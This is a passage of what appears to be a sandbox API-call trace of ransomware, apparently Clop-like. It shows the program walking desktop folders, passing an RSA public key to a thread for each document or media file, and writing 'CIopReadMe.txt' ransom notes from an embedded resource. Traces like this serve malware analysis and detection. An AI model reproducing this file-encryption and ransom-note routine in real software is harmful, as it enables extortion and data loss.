PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.356] lstrcpyW (in: lpString1=0x1ebba62, lpString2="iJYJHrgQ2a2pzMtZL.swf" | out: lpString1="iJYJHrgQ2a2pzMtZL.swf") returned="iJYJHrgQ2a2pzMtZL.swf" [0106.356] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0106.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0106.356] WaitForSingleObject (hHandle=0x66c, dwMilliseconds=0xffffffff) returned 0x0 [0106.587] SetErrorMode (uMode=0x1) returned 0x1 [0106.587] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt") returned 65 [0106.587] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0106.587] CloseHandle (hObject=0x680) returned 1 [0106.587] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.587] lstrcmpW (lpString1="IR-tjQBZzd_N5h-S0 pI.doc", lpString2="..") returned 1 [0106.588] lstrcmpW (lpString1="IR-tjQBZzd_N5h-S0 pI.doc", lpString2=".") returned 1 [0106.588] Sleep (dwMilliseconds=0xd) [0106.615] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.615] lstrcpyW (in: lpString1=0x1ebba62, lpString2="IR-tjQBZzd_N5h-S0 pI.doc" | out: lpString1="IR-tjQBZzd_N5h-S0 pI.doc") returned="IR-tjQBZzd_N5h-S0 pI.doc" [0106.615] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0106.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0106.615] SetErrorMode (uMode=0x1) returned 0x1 [0106.615] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt") returned 65 [0106.615] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0106.615] CloseHandle (hObject=0x690) returned 1 [0106.615] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.615] lstrcmpW (lpString1="MiEnBI8.docx", lpString2="..") returned 1 [0106.615] lstrcmpW (lpString1="MiEnBI8.docx", lpString2=".") returned 1 [0106.615] Sleep (dwMilliseconds=0xd) [0106.662] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.662] lstrcpyW (in: lpString1=0x1ebba62, lpString2="MiEnBI8.docx" | out: lpString1="MiEnBI8.docx") returned="MiEnBI8.docx" [0106.662] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0106.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0106.663] SetErrorMode (uMode=0x1) returned 0x1 [0106.663] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt") returned 65 [0106.663] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0106.663] CloseHandle (hObject=0x67c) returned 1 [0106.663] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.663] lstrcmpW (lpString1="_7SiEN5ix Oq_lUu N.m4a", lpString2="..") returned 1 [0106.663] lstrcmpW (lpString1="_7SiEN5ix Oq_lUu N.m4a", lpString2=".") returned 1 [0106.663] Sleep (dwMilliseconds=0xd) [0106.720] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.720] lstrcpyW (in: lpString1=0x1ebba62, lpString2="_7SiEN5ix Oq_lUu N.m4a" | out: lpString1="_7SiEN5ix Oq_lUu N.m4a") returned="_7SiEN5ix Oq_lUu N.m4a" [0106.720] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0106.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0106.720] WaitForSingleObject (hHandle=0x698, dwMilliseconds=0xffffffff) returned 0x0 [0106.914] SetErrorMode (uMode=0x1) returned 0x1 [0106.914] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt") returned 65 [0106.914] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ac [0106.914] CloseHandle (hObject=0x6ac) returned 1 [0106.914] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0 [0106.914] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0106.914] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0106.915] lstrcpyW (in: lpString1=0x1ebc8dc, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai" [0106.915] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\*.*" [0106.915] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\*.*", lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0x67e378 [0106.915] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai") returned="1bwm2R-ai" [0106.915] lstrcpyW (in: lpString1=0x1ebb2d0, lpString2="1bwm2R-ai" | out: lpString1="1bwm2R-ai") returned="1bwm2R-ai" [0106.915] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0106.915] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0106.915] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.915] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0106.915] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.915] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.915] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.915] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.915] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.915] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.915] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0 [0106.915] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0106.915] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0106.915] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x1ebd694 | out: lpFindFileData=0x1ebd694) returned 1 [0106.915] lstrcmpW (lpString1="85KqQFXPbTBEpm1Ws", lpString2="..") returned 1 [0106.915] lstrcmpW (lpString1="85KqQFXPbTBEpm1Ws", lpString2=".") returned 1 [0106.915] lstrcpyW (in: lpString1=0x1ebdcf4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS" [0106.915] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\" [0106.915] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\", lpString2="85KqQFXPbTBEpm1Ws" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws" [0106.915] SetErrorMode (uMode=0x1) returned 0x1 [0106.916] lstrcpyW (in: lpString1=0x1ebc8dc, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws" [0106.916] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" [0106.916] lstrcpyW (in: lpString1=0x1ebc0bc, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" [0106.916] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\*.*" [0106.916] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\*.*", lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 0x67e3f8 [0106.916] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws") returned="85KqQFXPbTBEpm1Ws" [0106.916] lstrcpyW (in: lpString1=0x1ebb2d0, lpString2="85KqQFXPbTBEpm1Ws" | out: lpString1="85KqQFXPbTBEpm1Ws") returned="85KqQFXPbTBEpm1Ws" [0106.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.916] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0106.916] lstrcmpW (lpString1="0-Tv sYMFqGkma 6x.wav", lpString2="..") returned 1 [0106.916] lstrcmpW (lpString1="0-Tv sYMFqGkma 6x.wav", lpString2=".") returned 1 [0106.916] Sleep (dwMilliseconds=0xd) [0106.938] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.938] lstrcpyW (in: lpString1=0x1ebba62, lpString2="0-Tv sYMFqGkma 6x.wav" | out: lpString1="0-Tv sYMFqGkma 6x.wav") returned="0-Tv sYMFqGkma 6x.wav" [0106.938] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" [0106.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0106.938] WaitForSingleObject (hHandle=0x6b0, dwMilliseconds=0xffffffff) returned 0x0 [0107.153] SetErrorMode (uMode=0x1) returned 0x1 [0107.153] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\CIopReadMe.txt") returned 73 [0107.153] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.154] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0107.154] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0107.154] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0107.154] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0107.154] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0107.154] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0107.154] WriteFile (in: hFile=0x5c0, lpBuffer=0x68a8f0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x1ebb0c0, lpOverlapped=0x0 | out: lpBuffer=0x68a8f0*, lpNumberOfBytesWritten=0x1ebb0c0*=0x759, lpOverlapped=0x0) returned 1 [0107.155] CloseHandle (hObject=0x5c0) returned 1 [0107.155] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.155] lstrcmpW (lpString1="hGqTnSOKZQ5a1.ods", lpString2="..") returned 1 [0107.155] lstrcmpW (lpString1="hGqTnSOKZQ5a1.ods", lpString2=".") returned 1 [0107.155] Sleep (dwMilliseconds=0xd) [0107.209] lstrcpyA (in: lpString1=0x1ebb504, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.209] lstrcpyW (in: lpString1=0x1ebba62, lpString2="hGqTnSOKZQ5a1.ods" | out: lpString1="hGqTnSOKZQ5a1.ods") returned="hGqTnSOKZQ5a1.ods" [0107.209] lstrcpyW (in: lpString1=0x1ebb662, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" [0107.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebb504, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0107.210] WaitForSingleObject (hHandle=0x6a0, dwMilliseconds=0xffffffff) returned 0x0 [0107.340] SetErrorMode (uMode=0x1) returned 0x1 [0107.340] wsprintfW (in: param_1=0x1ebb0c8, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\CIopReadMe.txt") returned 73 [0107.340] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0107.340] CloseHandle (hObject=0x688) returned 1 [0107.340] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x1ebbe6c | out: lpFindFileData=0x1ebbe6c) returned 1 [0107.341] lstrcmpW (lpString1="Na0N0W_tVH__RG.bmp", lpString2="..") returned 1 [0107.341] lstrcmpW 